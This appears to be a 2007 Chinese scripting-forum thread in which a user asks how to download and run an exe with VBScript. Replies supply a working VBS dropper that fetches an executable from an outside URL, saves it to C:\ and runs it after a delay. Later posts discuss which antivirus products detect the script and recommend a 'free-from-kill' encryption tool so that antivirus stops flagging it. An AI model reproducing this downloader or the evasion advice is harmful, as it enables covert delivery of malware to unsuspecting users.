标题: [求助]如何用vbs下载并运行指定文件？ [打印本页]
作者: nzisisco 时间: 2007-4-25 23:22 标题: [求助]如何用vbs下载并运行指定文件？
比如我要下载www.xxxxxx.com\1.exe 这个程序 如何用vbs下载 然后放到指定目录 比如放到c:\ 最好能够指定一个时间运行 比如60秒後运行
希望高人帮忙!
作者: vkill 时间: 2007-4-25 23:57
iget.vbs
sleep
run
作者: lxmxn 时间: 2007-4-26 01:41
楼上已经给出了提示，楼主不妨按照楼上的提示，搜索一下论坛，尝试自己解决一下问题，对你提高很有好处的。
作者: fengzi 时间: 2007-4-26 02:08
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://danshenhan.mm9mm.com/xiao.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\xiao.exe",2
wscript.sleep 10000
Shell.Run ("c:\xiao.exe") '延迟过后执行下载文件
好象要被卡吧杀``NOD32都不会杀滴```
作者: nzisisco 时间: 2007-4-26 02:48
我是对vbs一点都不了解 2楼虽然给出了关键字 但是还是有难度......
4楼的我看不太懂你写的什么意思 能解释一下吗 不好意思 我比较笨 麻烦大家了哈
作者: fengzi 时间: 2007-4-26 02:58
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://danshenhan.mm9mm.com/xiao.exe",0 ：这里是要下的东西的地址
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\xiao.exe",2 保存位置
wscript.sleep 10000 延时
Shell.Run ("c:\xiao.exe") 执行
作者: zhoushijay 时间: 2007-4-27 02:45
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Set Shell = CreateObject("scripting.filesystemobject")
还有哪些对象啊？这些对象下面又有些什么属性和方法，谁有这方面的资料啊？
作者: Vampire 时间: 2007-4-27 03:14
| Quote: | |
|
这段代码被瑞星认为病毒……杀之而后快。呵呵。
作者: kk11440 时间: 2007-5-23 21:29
因为疯子哥哥```等于说小波同志没对这段vbs段码进行加密.加了密过后过所有的杀软
作者: fengzi 时间: 2007-5-23 22:46
| Quote: | |
|
这个用VBS加密工具加密后就可以了`
baomaboy做了个加密/解密VBS脚本(简易免杀版)1.1
http://www.cn-dos.net/forum/view ... 1&highlight=1.1`
这个加密后杀软基本上不会报毒了``
[ Last edited by fengzi on 2007-5-24 at 04:38 AM ]